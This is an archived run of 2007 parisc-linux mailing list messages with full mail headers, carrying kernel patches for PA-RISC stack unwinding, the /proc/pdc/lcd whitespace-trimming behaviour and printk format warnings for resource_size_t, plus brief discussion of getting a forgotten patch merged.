Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1w5cdVE/PTRsPujGPjIwifQxc2tpZMuB
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24664

This is a multi-part message in MIME format.
--------------050403020607080209030200
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit


--------------050403020607080209030200
Content-Type: text/plain;
 name="unwind.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="unwind.diff"

- Fix unwind record processing on 64-bit systems - this was affected by the
  PAGE_OFFSET change a few months back
- Add special-case handling for "handle_interruption" so that we can rewind
  past the interruption. This is useful for seeing what caused a BUG() or 
  WARN_ON(); otherwise the unwind stops at the interruption.

Signed-off-by: Randolph Chung <tausq@debian.org>

index e70f57e..e06da53 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -16,16 +16,20 @@
 
 #include <asm/uaccess.h>
 #include <asm/assembly.h>
+#include <asm/asm-offsets.h>
+#include <asm/ptrace.h>
 
 #include <asm/unwind.h>
 
 /* #define DEBUG 1 */
 #ifdef DEBUG
 #define dbg(x...) printk(x)
 #else
 #define dbg(x...)
 #endif
 
+#define KERNEL_START (KERNEL_BINARY_TEXT_START - 0x1000)
+
 extern struct unwind_table_entry __start___unwind[];
 extern struct unwind_table_entry __stop___unwind[];
 
@@ -197,6 +201,29 @@ static int unwind_init(void)
 	return 0;
 }
 
+#ifdef CONFIG_64BIT
+#define get_func_addr(fptr) fptr[2]
+#else
+#define get_func_addr(fptr) fptr[0]
+#endif
+
+static int unwind_special(struct unwind_frame_info *info, unsigned long pc, int frame_size)
+{
+	void handle_interruption(int, struct pt_regs *);
+	static unsigned long *hi = (unsigned long)&handle_interruption;
+
+	if (pc == get_func_addr(hi)) {
+		struct pt_regs *regs = (struct pt_regs *)(info->sp - frame_size - PT_SZ_ALGN);
+		dbg("Unwinding through handle_interruption()\n");
+		info->prev_sp = regs->gr[30];
+		info->prev_ip = regs->iaoq[0];
+
+		return 1;
+	}
+
+	return 0;
+}
+
 static void unwind_frame_regs(struct unwind_frame_info *info)
 {
 	const struct unwind_table_entry *e;
@@ -310,13 +337,15 @@ static void unwind_frame_regs(struct unwind_frame_info *info)
 			}
 		}
 
-		info->prev_sp = info->sp - frame_size;
-		if (e->Millicode)
-			info->rp = info->r31;
-		else if (rpoffset)
-			info->rp = *(unsigned long *)(info->prev_sp - rpoffset);
-		info->prev_ip = info->rp;
-		info->rp = 0;
+		if (!unwind_special(info, e->region_start, frame_size)) {
+			info->prev_sp = info->sp - frame_size;
+			if (e->Millicode)
+				info->rp = info->r31;
+			else if (rpoffset)
+				info->rp = *(unsigned long *)(info->prev_sp - rpoffset);
+			info->prev_ip = info->rp;
+			info->rp = 0;
+		}
 
 		dbg("analyzing func @ %lx, setting prev_sp=%lx "
 		    "prev_ip=%lx npc=%lx\n", info->ip, info->prev_sp, 
index 7e9afa7..21fbfc5 100644
--- a/include/asm-parisc/system.h
+++ b/include/asm-parisc/system.h
@@ -188,7 +188,6 @@ static inline void set_eiem(unsigned long val)
 # define __lock_aligned __attribute__((__section__(".data.lock_aligned")))
 #endif
 
-#define KERNEL_START (0x10100000 - 0x1000)
 #define arch_align_stack(x) (x)
 
 #endif

--------------050403020607080209030200
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------050403020607080209030200--



From - Thu Nov 08 21:36:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LCD driver trims whitespace
Date: Sun, 17 Jun 2007 22:27:21 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <200706172227.22345.deller__19128.7974630997$1416624396$gmane$org@gmx.de>
References: <46279704.1080001@web.de> <200704211141.26069.deller@gmx.de>
	<4672F1B9.507@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624396 24553 80.91.229.3 (22 Nov 2014 02:46:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jun 2007 20:28:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 17 Jun 2007 22:28:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF46C7DDA4;
	Sun, 17 Jun 2007 14:28:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09780-08; Sun, 17 Jun 2007 14:28:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 473847DD9E;
	Sun, 17 Jun 2007 14:27:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CDE937DD83
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Jun 2007 14:27:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09780-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Jun 2007 14:27:53 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id A74D67DD80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Jun 2007 14:27:52 -0600 (MDT)
Original-Received: (qmail invoked by alias); 17 Jun 2007 20:27:51 -0000
Original-Received: from mnhm-590c0eb4.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.14.180]
	by mail.gmx.net (mp034) with SMTP; 17 Jun 2007 22:27:51 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <4672F1B9.507@web.de>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Bu0QNrdNZCEWb7GPamwhlNFwIGhpZcZp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24665

On Friday 15 June 2007, Julian Stecklina wrote:
> Helge Deller wrote:
> > On Thursday 19 April 2007, Julian Stecklina wrote:
> >> I have a HP Visualize workstation with this fancy little LCD at the 
> >> front controllable via /proc/pdc/lcd. The problem is that the 
> >> responsible driver trims all trailing whitespace, which is quite 
> >> annoying if you want to scroll some text. The attached trivial patch 
> >> (against 2.6.20.1) removes this behaviour.
> > 
> > I'm sure, there was a reason to strip the whitespaces. 
> > But I forgot it by now and it was probably a not very good reason :-)
> > 
> > Nevertheless, the patch looks good.
> > 
> > Kyle, could you add the patch to your git tree ?
> > -> http://lists.parisc-linux.org/pipermail/parisc-linux/attachments/20070419/d58ce234/no-space-removal.bin
> 
> As I was just browsing the git tree, I did not see the patch. Any reason 
> it was not committed?

It seems it has been forgotten to be merged into Kyle's tree and thus it didn't went upstream.
Please, resend the full patch again to this list, add Kyle McMartin <kyle@parisc-linux.org> to CC and (most important) do not forget to add your "signed-off" line.

Thanks,
Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julian Stecklina <der_julian@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LCD driver trims whitespace (again)
Date: Sun, 17 Jun 2007 23:05:10 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <4675A206.7060809__26840.8942538828$1416624397$gmane$org@web.de>
References: <46279704.1080001@web.de> <200704211141.26069.deller@gmx.de>
	<4672F1B9.507@web.de> <200706172227.22345.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------090207030900070903060907"
X-Trace: ger.gmane.org 1416624397 24557 80.91.229.3 (22 Nov 2014 02:46:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jun 2007 21:05:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 17 Jun 2007 23:05:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D49DE7DDAB;
	Sun, 17 Jun 2007 15:05:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10233-05; Sun, 17 Jun 2007 15:05:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C4D87DDAC;
	Sun, 17 Jun 2007 15:05:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 526AF7DDAB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Jun 2007 15:05:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10233-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Jun 2007 15:05:14 -0600 (MDT)
Original-Received: from mailout1.zih.tu-dresden.de (mailout1.zih.tu-dresden.de
	[141.30.67.72])
	by free.linux.hp.com (Postfix) with ESMTP id 6D09B7DD9F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Jun 2007 15:05:14 -0600 (MDT)
Original-Received: from rmc67-31.zih.tu-dresden.de ([141.30.67.31] helo=server-n)
	by mailout1.zih.tu-dresden.de with esmtp (Exim 4.63)
	(envelope-from <der_julian@web.de>)
	id 1I01vq-0000Cd-W5; Sun, 17 Jun 2007 23:05:13 +0200
Original-Received: from [192.168.0.250] (efficio.wh29.tu-dresden.de [141.30.207.25])
	by server-n (Postfix) with ESMTP id 9F535100A08E;
	Sun, 17 Jun 2007 23:05:10 +0200 (CEST)
User-Agent: Thunderbird 1.5.0.10 (X11/20070221)
In-Reply-To: <200706172227.22345.deller@gmx.de>
X-TUD-Virus-Scanned: mailout1.zih.tu-dresden.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QeY/AahLa2A6a7vDOHQyaesyOWhhasfw
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24666

This is a multi-part message in MIME format.
--------------090207030900070903060907
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit

Hello,

The attached patch removes the behaviour that writes to /proc/pdc/lcd 
are whitespace trimmed.

Signed-off-by: Helge Deller <deller@parisc-linux.org>
(See thread "LCD driver trims whitespace" for reference.)

Regards,
Julian
--
Julian Stecklina
http://berzerkely.net/

"Dealing with failure is easy: Work hard to improve. Success is also
easy to handle: You've solved the wrong problem. Work hard to
improve." - Alan Perlis

--------------090207030900070903060907
Content-Type: text/x-patch;
 name="no-space-removal.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="no-space-removal.diff"

diff --git a/drivers/parisc/led.c b/drivers/parisc/led.c
index 98be288..e5d7ed9 100644
--- a/drivers/parisc/led.c
+++ b/drivers/parisc/led.c
@@ -195,12 +195,6 @@ static int led_proc_write(struct file *file, const char *buf,
 
 	cur = lbuf;
 
-	/* skip initial spaces */
-	while (*cur && isspace(*cur))
-	{
-		cur++;
-	}

From - Thu Nov 08 21:36:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Some warning: ... cleanup?
Date: Mon, 18 Jun 2007 15:22:02 +0200
Lines: 155
Approved: news@gmane.org
Message-ID: <JJU2GQ$2E3260944876E304C0F637A3B8C6B4DB__36994.9074266062$1416624397$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="_=__=_XaM3_.1182172922.2A.103215.42.6082.52.42.007.2075067635"
X-Trace: ger.gmane.org 1416624397 24564 80.91.229.3 (22 Nov 2014 02:46:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:37 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "kyle" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jun 2007 13:22:34 -0000
Original-Received: from unknown (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 18 Jun 2007 15:22:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 82A3A7DD6D;
	Mon, 18 Jun 2007 07:22:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18653-05; Mon, 18 Jun 2007 07:22:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 750B97DD69;
	Mon, 18 Jun 2007 07:22:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B952B7DD64
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jun 2007 07:22:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15675-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jun 2007 07:22:18 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 5178E7DD62
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jun 2007 07:22:18 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42])
	by weequay.is.scarlet.be  with ESMTP id l5IDM2701284;
	Mon, 18 Jun 2007 15:22:02 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TMM8AQN6a2A6a7vDOHQy8iYyOWhhaoeC
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24667

--_=__=_XaM3_.1182172922.2A.103215.42.6082.52.42.007.2075067635
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Hello Kyle,

I was trying your patch v2.6.22-rc4 and fiure out some warnings:

/CAD/linux-2.6.22-rc4/drivers/parisc/dino.c:821: warning: format =91%lx=92=
 expects
type =91long unsigned int=92, but argument 4 has type =91resource_size_t=92=

/CAD/linux-2.6.22-rc4/drivers/parisc/dino.c:821: warning: format =91%lx=92=
 expects
type =91long unsigned int=92, but argument 5 has type =91resource_size_t=92=

/CAD/linux-2.6.22-rc4/drivers/parisc/dino.c:901: warning: format =91%lx=92=
 expects
type =91long unsigned int=92, but argument 3 has type =91resource_size_t=92=

/CAD/linux-2.6.22-rc4/drivers/parisc/dino.c:901: warning: format =91%lx=92=
 expects
type =91long unsigned int=92, but argument 4 has type =91resource_size_t=92=

/CAD/linux-2.6.22-rc4/drivers/parisc/asp.c:85: warning: format =91%lx=92 =
expects
type =91long unsigned int=92, but argument 4 has type =91resource_size_t=92=

/CAD/linux-2.6.22-rc4/drivers/parisc/eisa.c:317: warning: format =91%08lx=
=92
expects type =91long unsigned int=92, but argument 3 has type =91resource=
_size_t=92
/CAD/linux-2.6.22-rc4/drivers/parisc/eisa_enumerator.c:101: warning: form=
at
=91%lx=92 expects type =91long unsigned int=92, but argument 2 has type =91=
resource_size_t=92
/CAD/linux-2.6.22-rc4/drivers/parisc/eisa_enumerator.c:101: warning: form=
at
=91%lx=92 expects type =91long unsigned int=92, but argument 3 has type =91=
resource_size_t=92
/CAD/linux-2.6.22-rc4/drivers/parisc/eisa_enumerator.c:191: warning: form=
at
=91%lx=92 expects type =91long unsigned int=92, but argument 2 has type =91=
resource_size_t=92
/CAD/linux-2.6.22-rc4/drivers/parisc/eisa_enumerator.c:191: warning: form=
at
=91%lx=92 expects type =91long unsigned int=92, but argument 3 has type =91=
resource_size_t=92
/CAD/linux-2.6.22-rc4/drivers/parport/parport_gsc.c:362: warning: format =
=91%lx=92
expects type =91long unsigned int=92, but argument 2 has type =91resource=
_size_t=92
/CAD/linux-2.6.22-rc4/drivers/serial/8250_gsc.c:44: warning: format =91%l=
x=92
expects type =91long unsigned int=92, but argument 2 has type =91resource=
_size_t=92

I just got this SomeStuff.diff.

(imho just the same kind of patch already applied upstream a while ago,
regarding resource_size_t change:
<http://www.linuxhq.com/kernel/v2.6/18/kernel/resource.c>)

Fill free to use it at your best convenience.

J.

=0A---=0Ahttp://www.scarlet.be/
--_=__=_XaM3_.1182172922.2A.103215.42.6082.52.42.007.2075067635
Content-Type: application/octet-stream; name="=?iso-8859-1?Q?SomeStuff.diff?="
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="=?iso-8859-1?Q?SomeStuff.diff?="

LS0tIC4vZHJpdmVycy9wYXJpc2MvZGluby5jLk9yaWcJMjAwNy0wNi0xOCAwOTowNTowNS4w
MDAwMDAwMDAgKzAwMDAKKysrIC4vZHJpdmVycy9wYXJpc2MvZGluby5jCTIwMDctMDYtMTgg
MDg6NTk6NDMuMDAwMDAwMDAwICswMDAwCkBAIC04OTksOCArODk5LDggQEAKIAlyZXMtPmZs
YWdzID0gSU9SRVNPVVJDRV9JTzsgLyogZG8gbm90IG1hcmsgaXQgYnVzeSAhICovCiAJaWYg
KHJlcXVlc3RfcmVzb3VyY2UoJmlvcG9ydF9yZXNvdXJjZSwgcmVzKSA8IDApIHsKIAkJcHJp
bnRrKEtFUk5fRVJSICIlczogcmVxdWVzdCBJL08gUG9ydCByZWdpb24gZmFpbGVkICIKLQkJ
ICAgICAgICIweCVseC8lbHggKGhwYSAweCVwKVxuIiwKLQkJICAgICAgIG5hbWUsIHJlcy0+
c3RhcnQsIHJlcy0+ZW5kLCBkaW5vX2Rldi0+aGJhLmJhc2VfYWRkcik7CisJCSAgICAgICAi
MHglbGx4LyVsbHggKGhwYSAweCVwKVxuIiwKKwkJICAgICAgIG5hbWUsICh1bnNpZ25lZCBs
b25nIGxvbmcpIHJlcy0+c3RhcnQsICh1bnNpZ25lZCBsb25nIGxvbmcpIHJlcy0+ZW5kLCBk
aW5vX2Rldi0+aGJhLmJhc2VfYWRkcik7CiAJCXJldHVybiAxOwogCX0KIAotLS0gLi9kcml2
ZXJzL3BhcmlzYy9hc3AuYy5PcmlnCTIwMDctMDYtMTggMDk6MDU6MTUuMDAwMDAwMDAwICsw
MDAwCisrKyAuL2RyaXZlcnMvcGFyaXNjL2FzcC5jCTIwMDctMDYtMTggMDk6MDA6NTQuMDAw
MDAwMDAwICswMDAwCkBAIC04MSw4ICs4MSw4IEBACiAJYXNwLm5hbWUgPSAoYXNwLnZlcnNp
b24gPT0gMSkgPyAiQXNwIiA6ICJDdXRvZmYiOwogCWFzcC5ocGEgPSBBU1BfSU5URVJSVVBU
X0FERFI7CiAKLQlwcmludGsoS0VSTl9JTkZPICIlcyB2ZXJzaW9uICVkIGF0IDB4JWx4IGZv
dW5kLlxuIiwgCi0JCWFzcC5uYW1lLCBhc3AudmVyc2lvbiwgZGV2LT5ocGEuc3RhcnQpOwor
CXByaW50ayhLRVJOX0lORk8gIiVzIHZlcnNpb24gJWQgYXQgMHglbGx4IGZvdW5kLlxuIiwg
CisJCWFzcC5uYW1lLCBhc3AudmVyc2lvbiwgKHVuc2lnbmVkIGxvbmcgbG9uZykgZGV2LT5o
cGEuc3RhcnQpOwogCiAJLyogdGhlIElSUSBBU1Agc2hvdWxkIHVzZSAqLwogCXJldCA9IC1F
QlVTWTsKLS0tIC4vZHJpdmVycy9wYXJpc2MvZWlzYS5jLk9yaWcJMjAwNy0wNi0xOCAwOTow
NToyNy4wMDAwMDAwMDAgKzAwMDAKKysrIC4vZHJpdmVycy9wYXJpc2MvZWlzYS5jCTIwMDct
MDYtMTggMTE6NTg6MDAuMDAwMDAwMDAwICswMDAwCkBAIC0zMTMsOCArMzEzLDggQEAKIAog
CWNoYXIgKm5hbWUgPSBpc19tb25nb29zZShkZXYpID8gIk1vbmdvb3NlIiA6ICJXYXgiOwog
Ci0JcHJpbnRrKEtFUk5fSU5GTyAiJXMgRUlTQSBBZGFwdGVyIGZvdW5kIGF0IDB4JTA4bHhc
biIsIAotCQluYW1lLCBkZXYtPmhwYS5zdGFydCk7CisJcHJpbnRrKEtFUk5fSU5GTyAiJXMg
RUlTQSBBZGFwdGVyIGZvdW5kIGF0IDB4JWxseFxuIiwgCisJCW5hbWUsICh1bnNpZ25lZCBs
b25nIGxvbmcpIGRldi0+aHBhLnN0YXJ0KTsKIAogCWVpc2FfZGV2LmhiYS5kZXYgPSBkZXY7
CiAJZWlzYV9kZXYuaGJhLmlvbW11ID0gY2Npb19nZXRfaW9tbXUoZGV2KTsKLS0tIC4vZHJp
dmVycy9wYXJpc2MvZWlzYV9lbnVtZXJhdG9yLmMuT3JpZwkyMDA3LTA2LTE4IDA5OjA1OjQy
LjAwMDAwMDAwMCArMDAwMAorKysgLi9kcml2ZXJzL3BhcmlzYy9laXNhX2VudW1lcmF0b3Iu
YwkyMDA3LTA2LTE4IDA5OjAzOjIyLjAwMDAwMDAwMCArMDAwMApAQCAtMTg4LDcgKzE4OCw3
IEBACiAJCQlyZXMtPnN0YXJ0ID0gZ2V0XzE2KGJ1ZitsZW4rMSk7CiAJCQlyZXMtPmVuZCA9
IGdldF8xNihidWYrbGVuKzEpKyhjJkhQRUVfUE9SVF9TSVpFX01BU0spKzE7CiAJCQlyZXMt
PmZsYWdzID0gSU9SRVNPVVJDRV9JTzsKLQkJCXByaW50aygiaW9wb3J0cyAlbHgtJWx4ICIs
IHJlcy0+c3RhcnQsIHJlcy0+ZW5kKTsKKwkJCXByaW50aygiaW9wb3J0cyAlbGx4LSVsbHgg
IiwgKHVuc2lnbmVkIGxvbmcgbG9uZykgcmVzLT5zdGFydCwgKHVuc2lnbmVkIGxvbmcgbG9u
ZykgcmVzLT5lbmQpOwogCQkJcmVzdWx0ID0gcmVxdWVzdF9yZXNvdXJjZShpb19wYXJlbnQs
IHJlcyk7CiAJCQlpZiAocmVzdWx0IDwgMCkgewogCQkJCXByaW50aygiXG4iIEtFUk5fRVJS
ICJFSVNBIEVudW1lcmF0b3I6IGZhaWxlZCB0byBjbGFpbSBFSVNBIEJ1cyBhZGRyZXNzIHNw
YWNlIVxuIik7Ci0tLSAuL2RyaXZlcnMvcGFyaXNjL3NiYV9pb21tdS5jLk9yaWcJMjAwNy0w
Ni0xOCAwOToyMToxNC4wMDAwMDAwMDAgKzAwMDAKKysrIC4vZHJpdmVycy9wYXJpc2Mvc2Jh
